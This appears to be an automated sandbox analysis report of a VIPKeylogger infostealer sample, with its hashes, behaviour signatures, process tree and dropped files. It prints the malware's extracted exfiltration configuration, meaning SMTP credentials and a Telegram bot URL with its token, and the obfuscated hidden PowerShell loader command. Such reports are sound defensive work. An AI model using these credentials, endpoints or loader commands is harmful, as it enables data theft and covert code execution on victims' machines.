Analysis
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max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
11-01-2025 05:54
General
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Target
f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe
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Size
764KB
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MD5
ee18481e218cc9bc7a1628f5a7365776
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SHA1
57ea302c84a488de1e5a5bcc669e02c5d9a7a350
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SHA256
f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9
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SHA512
a4ae4e6f3d46c05141e1d60b3f92d1b2ad27d758ae27bc063fb3f5fef953237120480e700c5d05d90cc41d92497674c0e7d3e25dbd62e591445170077309f78b
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SSDEEP
12288:0GCX77iIceZ0Na7lxnjXp54AQ2cPmT3a3ur93tRLPHj6XOahq:qr75cHavj7S1G3aer93tJPDUO/
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.abraher.com - Port:
587 - Username:
[email protected] - Password:
General1 - Email To:
[email protected]
https://api.telegram.org/bot8101497037:AAEvNeES2X17rekW3womq6JjOwgZLJMqX1Y/sendMessage?chat_id=7171338311
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 10 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Drops file in Windows directory 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe"C:\Users\Admin\AppData\Local\Temp\f19b72b88ddbf56b257e6eef19c74e304beaf8f95d352741e400993472e721c9.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$afsmitnings=gc -raw 'C:\Users\Admin\AppData\Local\neoimpressionism\Sunsetting.Spe';$Overbefolkede=$afsmitnings.SubString(6903,3);.$Overbefolkede($afsmitnings) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD501e76fe9d2033606a48d4816bd9c2d9d
SHA1e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2
SHA256ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70
SHA51262ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0
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Filesize
333KB
MD5a01a7b6997298405d8db82d7019581b1
SHA1db88db262a5a9b901e79f164528dfce4dec096e1
SHA256b65ed13d031c96566dc34332bd1bc3ae757911bae5e348d9a8819905289f7620
SHA5125ceaf1bbe6a7bb3ba41568328a27803fe028f0d347345059a05ee2a980c84babf17734b4b9529ec6f847308a4c9ee5aa90e69194504d74273e8cee7507a787f3
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Filesize
68KB
MD50751b57e7c9836548f433d8a91bbc582
SHA15f12a72da78da084e25b751b11a5e556cc88f6d5
SHA2567307eb64e3419383d4ec7bd555f85ee9ca56e0972d75fd74a8949f4e412448f7
SHA5122ee12bd05f884332a51587a3664488356c3149ea1971d9fd9bf474ef01ee2d78c01cd981130eb2bcd152eb3a685f4c6c385c4d4835e100510cd93ad6f43993a6
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Filesize
18.3MB
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Filesize
296KB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
652KB
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Filesize
104KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
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Filesize
7.7MB
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Filesize
200KB
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Filesize
120KB
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Filesize
408KB
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Filesize
40KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
68KB
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Filesize
56KB
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Filesize
80KB
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Filesize
408KB
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Filesize
32KB
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Filesize
168KB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
43.0MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB